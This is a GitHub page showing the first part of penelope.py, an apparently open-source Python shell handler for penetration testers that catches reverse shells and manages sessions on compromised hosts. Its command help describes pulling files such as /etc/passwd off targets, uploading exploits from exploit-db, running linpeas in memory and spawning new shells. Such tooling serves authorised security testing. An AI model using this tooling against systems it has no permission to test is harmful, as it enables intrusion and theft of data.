-
Notifications
You must be signed in to change notification settings - Fork 93
/
penelope.py
executable file
·4583 lines (3816 loc) · 129 KB
/
penelope.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# Copyright © 2021 - 2024 @brightio <brightiocode@gmail.com>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
__program__= "penelope"
__version__ = "0.12.4"
import os
import io
import re
import sys
import tty
import ssl
import code
import time
import json
import zlib
import glob
import errno
import shlex
import queue
import struct
import shutil
import select
import socket
import signal
import base64
import string
import random
import termios
import tarfile
import logging
import zipfile
import inspect
import binascii
import textwrap
import argparse
import platform
import traceback
import threading
import subprocess
import http.server
import socketserver
import urllib.request
from math import ceil
from pathlib import Path
from datetime import datetime
from functools import wraps
from itertools import islice
from collections import deque, defaultdict
from configparser import ConfigParser
from urllib.parse import unquote
if not sys.version_info >= (3, 6):
print("(!) Penelope requires Python version 3.6 or higher (!)")
sys.exit()
################################## PYTHON MISSING BATTERIES ####################################
rand = lambda _len: ''.join(random.choice(string.ascii_letters) for i in range(_len))
caller = lambda: inspect.stack()[2].function
bdebug = lambda file, data: open("/tmp/" + file, "a").write(repr(data) + "\n")
chunks = lambda string, length: (string[0 + i:length + i] for i in range(0, len(string), length))
pathlink = lambda filepath: (
f'\x1b]8;;file://{filepath.parents[0]}\x07{filepath.parents[0]}'
f'{os.path.sep}\x1b]8;;\x07\x1b]8;;file://{filepath}\x07{filepath.name}\x1b]8;;\x07'
)
def Open(item, terminal=False):
if OS == 'Linux' and not DISPLAY:
logger.error("No available $DISPLAY")
return False
if not terminal:
program = {'Linux':'xdg-open', 'Darwin':'open'}[OS]
args = [item]
else:
program = {'Linux':'x-terminal-emulator', 'Darwin':'osascript'}[OS]
if OS == 'Linux':
args = ['-e', *shlex.split(item)]
elif OS == 'Darwin':
args = ['-e', f'tell app "Terminal" to do script "{item}"']
if not shutil.which(program):
logger.error(f"Cannot open window: '{program}' binary does not exist")
return False
process = subprocess.Popen(
(program, *args),
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE
)
r, _, _ = select.select([process.stderr], [], [], .01)
if process.stderr in r:
error = os.read(process.stderr.fileno(), 1024)
if error:
logger.error(error.decode())
return False
return True
def ask(text):
try:
return input(f"\r{paint(f'[?] {text}: ').yellow}")
except EOFError:
return ask(text)
class Interfaces:
def __str__(self):
table = Table(joinchar=' : ')
table.header = [paint('Interface').MAGENTA, paint('IP Address').MAGENTA]
for name, ip in self.list.items():
table += [paint(name).cyan, paint(ip).yellow]
return str(table)
def oneLine(self):
return '(' + str(self).replace('\n', '|') + ')'
def translate(self, interface_name):
if interface_name in self.list:
return self.list[interface_name]
elif interface_name in ('any', 'all'):
return '0.0.0.0'
else:
return interface_name
@property
def list(self):
if OS == 'Linux':
if shutil.which("ip"):
interfaces = []
current_interface = None
for line in subprocess.check_output(['ip', 'addr']).decode().splitlines():
interface = re.search(r"^\d+: (.+?):", line)
if interface:
current_interface = interface[1]
continue
if current_interface:
ip = re.search(r"inet (\d+\.\d+\.\d+\.\d+)", line)
if ip:
interfaces.append((current_interface, ip[1]))
current_interface = None # TODO support multiple IPs in one interface
else:
logger.error("'ip' command is not available")
return dict()
elif OS == 'Darwin':
if shutil.which("ifconfig"):
output = subprocess.check_output(['ifconfig']).decode()
interfaces = re.findall(r'^(\w+).*?\n\s+inet (?:addr:)?(\d+\.\d+\.\d+\.\d+)', output, re.MULTILINE | re.DOTALL)
else:
logger.error("'ifconfig' command is not available")
return dict()
return {i[0]:i[1] for i in interfaces}
@property
def list_all(self):
return [item for item in list(self.list.keys()) + list(self.list.values())]
class Table:
def __init__(self, list_of_lists=[], header=None, fillchar=" ", joinchar=" "):
self.list_of_lists = list_of_lists
self.joinchar = joinchar
if type(fillchar) is str:
self.fillchar = [fillchar]
elif type(fillchar) is list:
self.fillchar = fillchar
# self.fillchar[0] = self.fillchar[0][0]
self.data = []
self.max_row_len = 0
self.col_max_lens = []
if header: self.header = header
for row in self.list_of_lists:
self += row
@property
def header(self):
...
@header.setter
def header(self, header):
self.add_row(header, header=True)
def __str__(self):
self.fill()
return "\n".join([self.joinchar.join(row) for row in self.data])
def __len__(self):
return len(self.data)
def add_row(self, row, header=False):
row_len = len(row)
if row_len > self.max_row_len:
self.max_row_len = row_len
cur_col_len = len(self.col_max_lens)
for _ in range(row_len - cur_col_len):
self.col_max_lens.append(0)
for _ in range(cur_col_len - row_len):
row.append("")
new_row = []
for index, element in enumerate(row):
if not isinstance(element, (str, paint)):
element = str(element)
elem_length = len(element)
new_row.append(element)
if elem_length > self.col_max_lens[index]:
self.col_max_lens[index] = elem_length
if header:
self.data.insert(0, new_row)
else:
self.data.append(new_row)
def __iadd__(self, row):
self.add_row(row)
return self
def fill(self):
for row in self.data:
for index, element in enumerate(row):
fillchar = ' '
if index in [*self.fillchar][1:]:
fillchar = self.fillchar[0]
row[index] = element + fillchar * (self.col_max_lens[index] - len(element))
class PBar:
pbars = []
def __init__(self, end, caption="", max_width=None):
self.pos = 0
self.end = end # end > 0 # TODO
self.active = True
self.caption = caption
self.max_width = max_width
__class__.pbars.append(self)
@property
def percent(self):
return int(self.pos * 100 / self.end)
def update(self, step=1):
self.pos += step
if self.pos > self.end:
self.pos = self.end
if self.active:
self.render()
def render(self):
percent = self.percent
self.active = False if percent == 100 else True
cursor = "\x1b[?25l" if self.active else "\x1b[?25h" # __exit__ TODO
left = f"{self.caption} ["
right = f"] {str(percent).rjust(3)}%"
up = f"\x1b[A" if self.active else ""
bar_space = self.max_width if self.max_width else os.get_terminal_size().columns - len(left) - len(right)
bars = int(percent * bar_space / 100) * "#"
print(f'{cursor}{left}{bars.ljust(bar_space, ".")}{right}{up}')
def terminate(self):
print("\x1b[?25h")
class paint:
_codes = {'RESET':0, 'BRIGHT':1, 'DIM':2, 'UNDERLINE':4, 'BLINK':5, 'NORMAL':22}
_colors = {'black':0, 'red':1, 'green':2, 'yellow':3, 'blue':4, 'magenta':5, 'cyan':6, 'white':231, 'orange':136}
_escape = lambda codes: f"\001\x1b[{codes}m\002"
def __init__(self, text=None, colors=None):
self.text = str(text) if text is not None else None
self.colors = colors if colors is not None else []
def __str__(self):
if self.colors:
content = self.text + __class__._escape(__class__._codes['RESET']) if self.text is not None else ''
return __class__._escape(';'.join(self.colors)) + content
return self.text
def __len__(self):
return len(self.text)
def __add__(self, text):
return str(self) + str(text)
def __mul__(self, num):
return __class__(self.text * num, self.colors)
def __getattr__(self, attr):
self.colors.clear()
for color in attr.split('_'):
if color in __class__._codes:
self.colors.append(str(__class__._codes[color]))
else:
prefix = "3" if color in __class__._colors else "4"
self.colors.append(prefix + "8;5;" + str(__class__._colors[color.lower()]))
return self
class CustomFormatter(logging.Formatter):
TEMPLATES = {
logging.CRITICAL: {'color':"RED", 'prefix':"[!!!]"},
logging.ERROR: {'color':"red", 'prefix':"[-]"},
logging.WARNING: {'color':"yellow", 'prefix':"[!]"},
logging.INFO: {'color':"green", 'prefix':"[+]"},
logging.DEBUG: {'color':"magenta", 'prefix':"[---DEBUG---]"}
}
def format(self, record):
template = __class__.TEMPLATES[record.levelno]
prefix = "\r" if core.attached_session is None else ""
suffix = "\r" if core.attached_session is not None else ""
thread = paint(" ") + paint(threading.current_thread().name).white_CYAN\
if record.levelno is logging.DEBUG or options.debug else ""
text = prefix + f"{template['prefix']}{thread} {logging.Formatter.format(self, record)}" + suffix
return str(getattr(paint(text), template['color']))
class BetterCMD:
def __init__(self, prompt=None, banner=None):
self.prompt = prompt
self.banner = banner
self.cmdqueue = []
self.completekey = 'tab'
self.lastcmd = ''
self.active = False
def show(self):
print()
# self.cmdloop()
threading.Thread(target=self.cmdloop, name='Menu').start()
def cmdloop(self):
self.preloop()
if readline:
readline.set_completer(self.complete)
readline.parse_and_bind(self.completekey + ": complete")
if self.banner:
print(self.banner)
self.banner = None
stop = None
while not stop:
if self.cmdqueue:
line = self.cmdqueue.pop(0)
else:
try:
self.active = True
line = input(self.prompt)
self.active = False
except EOFError:
line = 'EOF'
#except KeyboardInterrupt:
# self.interrupt()
# continue
line = self.precmd(line)
stop = self.onecmd(line)
stop = self.postcmd(stop, line)
self.postloop()
def onecmd(self, line):
cmd, arg, line = self.parseline(line)
if cmd:
try:
func = getattr(self, 'do_' + cmd)
self.lastcmd = line
except AttributeError:
return self.default(line)
return func(arg)
def default(self, line):
logger.error(f"Invalid command")
# def interrupt(self):
# print("^C")
def parseline(self, line):
line = line.lstrip()
if not line:
return None, None, line
elif line[0] == '!':
index = line[1:].strip()
hist_len = readline.get_current_history_length()
if not index.isnumeric() or not (0 < int(index) < hist_len):
logger.error("Invalid command number")
readline.remove_history_item(hist_len - 1)
return None, None, line
line = readline.get_history_item(int(index))
readline.replace_history_item(hist_len - 1, line)
return self.parseline(line)
else:
parts = line.split(' ', 1)
if len(parts) == 1:
return parts[0], None, line
elif len(parts) == 2:
return parts[0], parts[1], line
@staticmethod
def set_auto_history(state):
if readline:
readline.set_auto_history(state)
@staticmethod
def load_history(histfile):
if readline:
readline.clear_history()
try:
readline.read_history_file(histfile)
except Exception as e:
cmdlogger.debug(f"Error loading history file: {e}")
@staticmethod
def write_history(histfile):
if readline:
readline.set_history_length(options.histlength)
try:
readline.write_history_file(histfile)
except Exception as e:
cmdlogger.debug(f"Error writing to history file: {e}")
def precmd(self, line):
__class__.write_history(options.cmd_histfile)
return line
def postcmd(self, stop, line):
return stop
def preloop(self):
__class__.load_history(options.cmd_histfile)
def postloop(self):
pass
def do_reset(self, line):
"""
Reset the local terminal
"""
if shutil.which("reset"):
os.system("reset")
else:
cmdlogger.error("'reset' command doesn't exist on the system")
def do_history(self, line):
"""
Show Main Menu history
"""
if readline:
hist_len = readline.get_current_history_length()
max_digits = len(str(hist_len))
for i in range(1, hist_len + 1):
print(f" {i:>{max_digits}} {readline.get_history_item(i)}")
else:
cmdlogger.error("Python is not compiled with readline support")
def do_DEBUG(self, line):
"""
Open debug console
"""
self.active = True
__class__.write_history(options.cmd_histfile)
__class__.load_history(options.debug_histfile)
code.interact(banner=paint(
"===> Entering debugging console...").CYAN, local=globals(),
exitmsg=paint("<=== Leaving debugging console..."
).CYAN)
__class__.write_history(options.debug_histfile)
__class__.load_history(options.cmd_histfile)
def completedefault(self, *ignored):
return []
def completenames(self, text, *ignored):
dotext = 'do_'+text
return [a[3:] for a in dir(self.__class__) if a.startswith(dotext)]
def complete(self, text, state):
if state == 0:
origline = readline.get_line_buffer()
line = origline.lstrip()
stripped = len(origline) - len(line)
begidx = readline.get_begidx() - stripped
endidx = readline.get_endidx() - stripped
if begidx > 0:
cmd, args, foo = self.parseline(line)
if cmd == '':
compfunc = self.completedefault
else:
try:
compfunc = getattr(self, 'complete_' + cmd)
except AttributeError:
compfunc = self.completedefault
else:
compfunc = self.completenames
self.completion_matches = compfunc(text, line, begidx, endidx)
try:
return self.completion_matches[state]
except IndexError:
return None
##########################################################################################################
class MainMenu(BetterCMD):
def __init__(self):
super().__init__()
self.set_id(None)
self.commands = {
"Session Operations":['run', 'upload', 'download', 'open', 'maintain', 'spawn', 'upgrade', 'exec', 'script'],
"Session Management":['sessions', 'use', 'interact', 'kill', 'dir|.'],
"Shell Management" :['listeners', 'connect', 'hints', 'Interfaces'],
"Miscellaneous" :['help', 'history', 'reset', 'SET', 'DEBUG', 'exit|quit|q|Ctrl+D']
}
@property
def raw_commands(self):
return [command.split('|')[0] for command in sum(self.commands.values(), [])]
@property
def active_sessions(self):
active_sessions = len(core.sessions)
if active_sessions:
s = "s" if active_sessions > 1 else ""
return paint(f" ({active_sessions} active session{s})").red + paint().yellow
return ""
@staticmethod
def sessions(text, *extra):
options = list(map(str, core.sessions))
options.extend(extra)
return [option for option in options if option.startswith(text)]
@staticmethod
def confirm(text):
try:
__class__.set_auto_history(False)
answer = input(f"\r{paint(f'[?] {text} (y/N): ').yellow}")
__class__.set_auto_history(True)
return answer.lower() == 'y'
except EOFError:
return __class__.confirm(text)
except KeyboardInterrupt:
print("^C")
def set_id(self, ID):
self.sid = ID
session_part = f"{paint('Session').green} {paint('[' + str(self.sid) + ']').red} "\
if self.sid else ''
self.prompt = f"{paint(f'┍┽ {__program__} ┾┑').magenta} {session_part}> "
def session(current=False, extra=[]):
def inner(func):
@wraps(func)
def newfunc(self, ID):
if current:
if not self.sid:
if core.sessions:
cmdlogger.warning("No session ID selected. Select one with \"use [ID]\"")
else:
cmdlogger.warning("No available sessions to perform this action")
if func.__name__ == 'do_run':
self.show_modules()
return False
else:
if ID:
if ID.isnumeric() and int(ID) in core.sessions:
ID = int(ID)
elif ID not in extra:
cmdlogger.warning("Invalid session ID")
return False
else:
if self.sid:
ID = self.sid
else:
cmdlogger.warning("No session selected")
return None
return func(self, ID)
return newfunc
return inner
#def interrupt(self):
# super().interrupt()
# if menu.sid:
# core.sessions[menu.sid].subchannel.control << 'stop'
def show_help(self, command):
help_prompt = re.compile(r"Run 'help [^\']*' for more information") # TODO
parts = textwrap.dedent(getattr(self, f"do_{command.split('|')[0]}").__doc__).split("\n")
print("\n", paint(command).green, paint(parts[1]).blue, "\n")
modified_parts = []
for part in parts[2:]:
part = help_prompt.sub('', part)
modified_parts.append(part)
print(textwrap.indent("\n".join(modified_parts), ' '))
if command == 'run':
self.show_modules()
def do_help(self, command):
"""
[command | -a]
Show Main Menu help or help about a specific command
Examples:
help Show all commands at a glance
help interact Show extensive information about a command
help -a Show extensive information for all commands
"""
if command:
if command == "-a":
for section in self.commands:
print(f'\n{paint(section).yellow}\n{paint("=" * len(section)).cyan}')
for command in self.commands[section]:
self.show_help(command)
else:
if command in self.raw_commands:
self.show_help(command)
else:
cmdlogger.warning(
f"No such command: '{command}'. "
f"Issue 'help' for all available commands"
)
else:
for section in self.commands:
print(f'\n{paint(section).yellow}\n{paint("=" * len(section)).cyan}')
table = Table(joinchar=' · ')
for command in self.commands[section]:
parts = textwrap.dedent(getattr(self, f"do_{command.split('|')[0]}").__doc__).split("\n")[1:3]
table += [paint(command).green, paint(parts[0]).blue, parts[1]]
print(table)
print()
@session(extra=['none'])
def do_use(self, ID):
"""
[SessionID|none]
Select a session
Examples:
use 1 Select the SessionID 1
use none Unselect any selected session
"""
if ID == 'none':
self.set_id(None)
else:
self.set_id(ID)
def do_sessions(self, line):
"""
[SessionID]
Show active sessions or interact with the SessionID
Examples:
sessions Show active sessions
sessions 1 Interact with SessionID 1
"""
if line:
if self.do_interact(line):
return True
else:
if core.sessions:
for host, sessions in core.hosts.items():
print('\n➤ ' + OSes[sessions[0].OS] + " " + str(paint(host).RED + ' 💀'))
table = Table(joinchar=' | ')
table.header = [paint(header).cyan for header in ('ID', 'Shell', 'Source')]
for session in sessions:
if self.sid == session.id:
ID = paint('[' + str(session.id) + ']').red
elif session.new:
ID = paint('<' + str(session.id) + '>').yellow_BLINK
else:
ID = paint(' ' + str(session.id)).yellow
source = 'Reverse shell from ' + str(session.listener) if session.listener else f'Bind shell (port {session.port})'
table += [ID, paint(session.type).CYAN if session.type == 'PTY' else session.type, source]
print("\n", textwrap.indent(str(table), " "), "\n", sep="")
else:
print()
cmdlogger.warning("No sessions yet 😟")
print()
@session()
def do_interact(self, ID):
"""
[SessionID]
Interact with a session
Examples:
interact Interact with current session
interact 1 Interact with SessionID 1
"""
return core.sessions[ID].attach()
@session(extra=['*'])
def do_kill(self, ID):
"""
[SessionID|*]
Kill a session
Examples:
kill Kill the current session
kill 1 Kill SessionID 1
kill * Kill all sessions
"""
if ID == '*':
if not core.sessions:
cmdlogger.warning("No sessions to kill")
return False
else:
if __class__.confirm(f"Kill all sessions{self.active_sessions}"):
for session in reversed(list(core.sessions.copy().values())):
session.kill()
return
else:
core.sessions[ID].kill()
if options.single_session and not core.sessions:
core.stop()
return True
@session(current=True)
def do_portfwd(self, line):
"""
host:port (<-/->) host:port
Local and Remote port forwarding
Examples:
-> 192.168.0.1:80 Forward the localhost:80 to 192.168.0.1:80
0.0.0.0:8080 -> 192.168.0.1:80 Forward the 0.0.0.0:8080 to 192.168.0.1:80
"""
if not line:
logger.warning("No parameters...")
return False
match = re.search(r"((?:.*)?)(<-|->)((?:.*)?)", line)
if match:
group1 = match.group(1)
arrow = match.group(2)
group2 = match.group(3)
else:
logger.warning("Invalid syntax")
return False
if arrow == '->':
_type = 'L'
lhost = "127.0.0.1"
if group2:
match = re.search(r"((?:[^\s]*)?):((?:[^\s]*)?)", group2)
if match:
rhost = match.group(1)
rport = match.group(2)
lport = rport
if not rport:
logger.warning("At least remote port is required")
return False
else:
logger.warning("At least remote port is required")
return False
if group1:
match = re.search(r"((?:[^\s]*)?):((?:[^\s]*)?)", group1)
if match:
lhost = match.group(1)
lport = match.group(2)
else:
logger.warning("Invalid syntax")
return False
elif arrow == '<-':
_type = 'R'
if group2:
rhost, rport = group2.split(':')
if group1:
lhost, lport = group1.split(':')
else:
logger.warning("At least local port is required")
return False
core.sessions[self.sid].portfwd(_type=_type, lhost=lhost, lport=int(lport), rhost=rhost, rport=int(rport))
@session(current=True)
def do_download(self, remote_items):
"""
<glob>...
Download files / folders from the target
Examples:
download /etc Download a remote directory
download /etc/passwd Download a remote file
download /etc/cron* Download multiple remote files and directories using glob
download /etc/issue /var/spool Download multiple remote files and directories at once
"""
if remote_items:
core.sessions[self.sid].download(remote_items)
else:
cmdlogger.warning("No files or directories specified")
@session(current=True)
def do_open(self, remote_items):
"""
<glob>...
Download files / folders from the target and open them locally
Examples:
open /etc Open locally a remote directory
open /root/secrets.ods Open locally a remote file
open /etc/cron* Open locally multiple remote files and directories using glob
open /etc/issue /var/spool Open locally multiple remote files and directories at once
"""
if remote_items:
items = core.sessions[self.sid].download(remote_items)
if len(items) > options.max_open_files:
cmdlogger.warning(
f"More than {options.max_open_files} items selected"
f" for opening. The open list is truncated to "
f"{options.max_open_files}."
)
items = items[:options.max_open_files]
for item in items:
Open(item)
else:
cmdlogger.warning("No files or directories specified")
@session(current=True)
def do_upload(self, local_items):
"""
<glob|URL>...
Upload files / folders / HTTP(S)/FTP(S) URLs to the target.
HTTP(S)/FTP(S) URLs are downloaded locally and then pushed to the target. This is extremely useful
when the target has no Internet access
Examples:
upload /tools Upload a directory
upload /tools/mysuperdupertool.sh Upload a file
upload /tools/privesc* /tools2/*.sh Upload multiple files and directories using glob
upload https://github.com/x/y/z.sh Download the file locally and then push it to the target
upload https://www.exploit-db.com/exploits/40611 Download the underlying exploit code locally and upload it to the target
"""
if local_items:
core.sessions[self.sid].upload(local_items, randomize_fname=True)
else:
cmdlogger.warning("No files or directories specified")
@session(current=True)
def do_script(self, local_item):
"""
<local_script|URL>
Execute a local script or URL from memory in the target and get the output in a local file
Examples:
script https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
"""
if local_item:
core.sessions[self.sid].script(local_item)
else:
cmdlogger.warning("No script to execute")
def show_modules(self):
table = Table(joinchar=' <-> ')
table.header = [paint('MODULE NAME').cyan_UNDERLINE, paint('DESCRIPTION').cyan_UNDERLINE]
for module in Module.modules.values():
table += [paint(module.name).red, module.description]
print("\n", table, "\n", sep="")
@session(current=True)
def do_run(self, module_name):
"""
[module name]
Run a module. Run 'help run' to view the available modules"""
if module_name:
module = Module.modules.get(module_name)
if module:
module.session = core.sessions[self.sid]
module.run()
else:
logger.warning(f"Module '{module_name}' does not exist")
else:
self.show_modules()
@session(current=True)
def do_spawn(self, line):
"""
[Port] [Host]
Spawn a new session.
Examples:
spawn Spawn a new session. If the current is bind then in will create a
bind shell. If the current is reverse, it will spawn a reverse one
spawn 5555 Spawn a reverse shell on 5555 port. This can be used to get shell
on another tab. On the other tab run: ./penelope.py 5555
spawn 3333 10.10.10.10 Spawn a reverse shell on the port 3333 of the 10.10.10.10 host
"""
host, port = None, None
if line:
args = line.split(" ")
try:
port = int(args[0])
except ValueError:
cmdlogger.error("Port number should be numeric")
return False
arg_num = len(args)
if arg_num == 2:
host = args[1]
elif arg_num > 2:
print()
cmdlogger.error("Invalid PORT - HOST combination")
self.onecmd("help spawn")
return False
core.sessions[self.sid].spawn(port, host)
def do_maintain(self, line):
"""
[NUM]
Maintain NUM active shells for each target
Examples:
maintain 5 Maintain 5 active shells
maintain 1 Disable maintain functionality
"""
if line:
if line.isnumeric():
num = int(line)
options.maintain = num
refreshed = False
for host in core.hosts.values():
if len(host) < num:
refreshed = True
host[0].maintain()
if not refreshed:
self.onecmd("maintain")
else:
cmdlogger.error("Invalid number")
else:
status = paint('Enabled').white_GREEN if options.maintain >= 2 else paint('Disabled').white_RED
cmdlogger.info(f"Value set to {paint(options.maintain).yellow} {status}")
@session(current=True)
def do_upgrade(self, ID):
"""
Upgrade the current session's shell to PTY.
Note: By default this is automatically run on the new sessions. Disable it with -U
"""
core.sessions[self.sid].upgrade()
def do_dir(self, ID):
"""
[SessionID]
Open the selected session's local folder. If no session is selected, open the base folder
"""
folder = core.sessions[self.sid].directory if self.sid else options.basedir
Open(folder)